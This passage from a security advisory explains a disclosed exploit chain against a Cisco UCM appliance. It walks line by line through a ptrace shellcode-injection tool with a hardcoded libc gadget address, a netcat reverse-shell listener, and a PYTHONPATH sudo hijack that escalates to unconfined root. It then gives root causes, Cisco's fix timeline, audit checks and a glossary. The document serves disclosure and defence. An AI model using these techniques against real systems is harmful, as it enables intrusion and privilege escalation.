This gadget address, combined with the libc base address in the target process, is set at line 172 of the inject.c file:
void *ret =
(void *)0x2a855 + 0xff1000;
Line by line:
void *ret =declares a pointer variable namedret.(void *)0x2a855 + 0xff1000;adds the offset inside libc (0x2a855) to the base address where libc was loaded in the target process (0xff1000). The result is the real memory address of theint 0x80instruction in that process. The cast(void *)tells the compiler to treat the number as a memory address.
The targeted process is 32 bits, so the inject binary must be compiled accordingly. The compilation was performed from CentOS 6.10 to ensure libc and kernel compatibility:
$ gcc inject.c utils.h -m32 -std=c99 -o inject
Line by line:
gccis the C compiler.inject.c utils.hare the source files to compile.-m32builds a 32-bit binary, matching the target process.-std=c99uses the C99 language standard.-o injectnames the output fileinject.
The exploitation uses two shells. The first is obtained through the first vulnerability and the permissive sudo rights:
# ./inject -p 7420
[...]
[+] attaching to proccess ( id: 7420 )
[+] allocating memory
[+] [0xc0] syscall ret: 0x435000
[+] mem_addr: 0x435000
[+] [0xc0] syscall ret: 0x559000
[+] stack_addr: 0x559000
[+] copying shellcode ( 80 bytes )
[+] setting up child's stack
[+] starting new process
[+] [0x78] syscall ret: 0x4271
[+] ret_pid: 17009
[+] running shellcode
[+] detaching
[+] done
Line by line:
./inject -p 7420runs the compiled tool against process ID 7420, which is thejabberdprocess from earlier.[+] attaching to proccess ( id: 7420 )says it is attaching to that process viaptrace.[+] allocating memoryand the following lines show it reserving memory in the target for the shellcode and a stack.[+] copying shellcode ( 80 bytes )copies the 80-byte shellcode into the target.[+] setting up child's stackprepares the child process to run the shellcode.[+] starting new processforks and starts the child.[+] ret_pid: 17009is the process ID of the new child.[+] running shellcodeand[+] detachingand[+] doneshow it running the code and then detaching cleanly.
The second shell is unprivileged and was also obtained through the first vulnerability:
$ nc -vl 1337
Connection from [redacted] port 1337 [tcp/menandmice-dns] accepted
id
uid=900(xcpuser) gid=506(ccmbase) groups=506(ccmbase),497(fuse),501(platform),502(tomcat),505(informix)
context=system_u:system_r:unconfined_t:s0-s0:c0.c1023
Line by line:
nc -vl 1337listens on port 1337.Connection from [redacted] port 1337 [tcp/menandmice-dns] acceptedshows an incoming connection. The bracketed name is just netcat's guess at what service normally uses that port.idis typed into the resulting shell.uid=900(xcpuser) ...shows the shell runs asxcpuser, not root.context=system_u:system_r:unconfined_t:s0-s0:c0.c1023shows it is already in theunconfined_tcontext. So this shell is unprivileged but not confined by SELinux.
As described in the sudo section, xcpuser can run a Python script with a controlled PYTHONPATH, leading to unconfined root privileges:
$ export PYTHONPATH=$PWD
$ sudo /usr/local/cm/bin/getdbname.py
Inside getdbnameFromodbc...
Running shell
# id
uid=0(root) gid=0(root) groups=0(root)
context=system_u:system_r:unconfined_t:s0s0:c0.c1023
Line by line:
export PYTHONPATH=$PWDsets the module search path to the current directory, exactly as before.Inside getdbnameFromodbc...andRunning shellare the script's and fake module's output.# idrunsidin the resulting shell.uid=0(root) ...confirms root.context=system_u:system_r:unconfined_t:s0s0:c0.c1023confirms the shell is unconfined. Root with no SELinux box around it.
Root cause
The chain rests on four independent weaknesses:
- Unauthenticated deserialisation. A Java Object Serialisation service accepted any serialised object without authentication. Because the CommonsBeanutils1 gadget was known by the application, attacker-controlled object graphs could execute commands. The component exposing the service was not clearly identified, and the port is dynamic, which makes the exposure harder to inventory.
- Overly broad sudo policy. A 1028-line sudoers file grants NOPASSWD execution of commands such as
findandddthat can spawn shells, and preserves environment variables such asPYTHONPATHthat influence how privileged scripts resolve imports. - Unpatched base system. RHEL 6.10 is end of life, leaving setuid
pkexec(CVE-2021-4034) andsudo1.8.6p3 (CVE-2021-3156) exploitable for local privilege escalation. - Incomplete SELinux confinement. SELinux is meant to contain root, but two processes (
EspLoggerandjabberd) run inunconfined_t.ptraceagainst them lets a confined root inject code into an unconfined context.
Impact
Using the identified vulnerabilities from an authenticated context, it was possible to gain remote code execution, elevate privileges to root, and then escape the SELinux context to get unconstrained access on the Cisco UCM appliance. The first vulnerability is reachable without authentication where the service is exposed; the later steps assume a shell on the appliance. The exposure of the deserialisation service was not universal across audited 11.5.1 appliances, and the port changes after a reboot, so reachability depends on the deployment.
Fix
Cisco's timeline records the following:
| Date | Action |
|---|---|
| 2022/11/18 | Advisory sent to Cisco PSIRT. Cisco acknowledges the report and says the second and third findings are already known. |
| 2022/12/22 | Cisco could reproduce the first vulnerability. |
| 2023/06/28 | Cisco says the first vulnerability has been fixed in CUCM products (version 14SU3 and 12.5(1)SU8) but investigates the issue on other products. The fourth vulnerability has not been fixed yet. |
| 2023/12/12 | Cisco states that all issues will be fixed in CUCM release 15. |
| 2024/01/24 | Release of this advisory and the Cisco ones. CVE-2024-20253 assigned to the first vulnerability. |
PSIRT stands for Product Security Incident Response Team: the group inside a vendor that handles vulnerability reports.
Variants to test
If you are auditing a similar appliance, these are the checks that would have found each issue:
- Scan for
java-objectservices on UCM appliances. A positive result is an open high port identified bynmap -sVCas Java Object Serialisation that accepts a ysoserial payload without credentials. Remember the port is dynamic and may change after a reboot. - Enumerate sudo rights for every service account. Run
sudo -las each account reached after initial access. A positive result is any NOPASSWD rule for a GTFOBins-listed binary such asfind,ddor an interpreter. - Check
env_keepfor interpreter-affecting variables. Look forPYTHONPATH,LD_*,CLASSPATHorJAVA_OPTSin the sudoers defaults alongside privileged scripts. A positive result is a privileged script that imports a module you can shadow from a writable directory. - Fingerprint the base OS and setuid binaries. Check
/etc/redhat-release,uname -a,pkexec --versionandsudo -V. A positive result is an end-of-life release with setuidpkexecor a sudo version affected by CVE-2021-3156. - List unconfined processes. Run
ps auxwwwfZ | grep unconfinedfrom a confined root shell. A positive result is a long-running service inunconfined_tthat can beptraced, ideally one whose disruption would be avoided by forking before injection.
Glossary
- Appliance: a computer (physical or virtual) that ships with its operating system and software pre-installed and configured for a specific job.
- Cisco UCM: Cisco Unified Communications Manager, an enterprise platform for voice, video, messaging and mobility.
- IM and Presence: the UCM feature that handles instant messaging and online-status information.
- Port: a numbered endpoint on a computer where a network service listens.
- nmap: a network scanner that discovers open ports and identifies services.
- Java: a programming language and runtime widely used for server software.
- Serialisation: turning an in-memory object into a stream of bytes.
- Deserialisation: rebuilding an object from a stream of bytes.
- Insecure deserialisation: a bug where untrusted bytes are deserialised, letting an attacker control what gets rebuilt and possibly run code.
- Remote code execution (RCE): running your own commands on someone else's machine over a network.
- Gadget chain: a sequence of existing classes that, assembled in a particular order, performs a dangerous action.
- Classpath: the list of places Java looks for classes.
- ysoserial: a tool that builds malicious serialised Java objects.
- netcat / nc: a general-purpose network tool for sending and receiving data and opening shells.
- Reverse shell: a shell that connects out from the target to the attacker.
- Shell: a command-line interface for running programs.
- User / uid / gid: a user account and its numeric user and group identifiers.
- root: the all-powerful administrator account on Linux.
- sudo: a Linux tool that runs a command as another user according to a policy file.
- sudoers: the configuration file that defines sudo rules.
- NOPASSWD: a sudo rule that requires no password.
- Privilege escalation: going from a low-privilege account to a higher-privilege one.
- Environment variable: a named value that programs read to change their behaviour.
- env_keep: a sudo setting listing environment variables that survive into the privileged command.
- PYTHONPATH: an environment variable telling Python where to look for modules.
- Module / import: a reusable piece of Python code, and the statement that loads it.
- GTFOBins: a public catalogue of ways to misuse common Linux programs to run commands.
- Red Hat Enterprise Linux (RHEL): a commercial Linux distribution.
- Kernel: the core of the operating system.
- pkexec: a helper program that runs commands as another user, similar in spirit to sudo.
- setuid: a file permission bit that makes a program run with its owner's privileges.
- CVE: a public identifier for a known vulnerability.
- SELinux: a Linux security layer that labels processes and files and enforces rules about what each label may do.
- Context: an SELinux label attached to a process or file.
- Confined / unconfined: whether SELinux restricts a process (confined) or not (unconfined).
- ptrace: a Linux syscall that lets one process inspect and control another, normally used by debuggers.
- Syscall: a request a program makes to the operating system kernel.
- Fork: duplicating a running process into a parent and a child.
- Shellcode: a small piece of raw machine code, usually written to open a shell.
- libc: the standard C library used by nearly every Linux program.
- int 0x80: the classic 32-bit Linux instruction for making a syscall.
- ROPgadget: a tool that searches a binary for useful instruction sequences.
- Hexadecimal (0x): a base-16 number notation, prefixed with
0x. - gcc: the C compiler.
- CentOS: a Linux distribution built from the same sources as RHEL.
- PSIRT: a vendor's Product Security Incident Response Team.
- Advisory: a public document describing a vulnerability and its fix.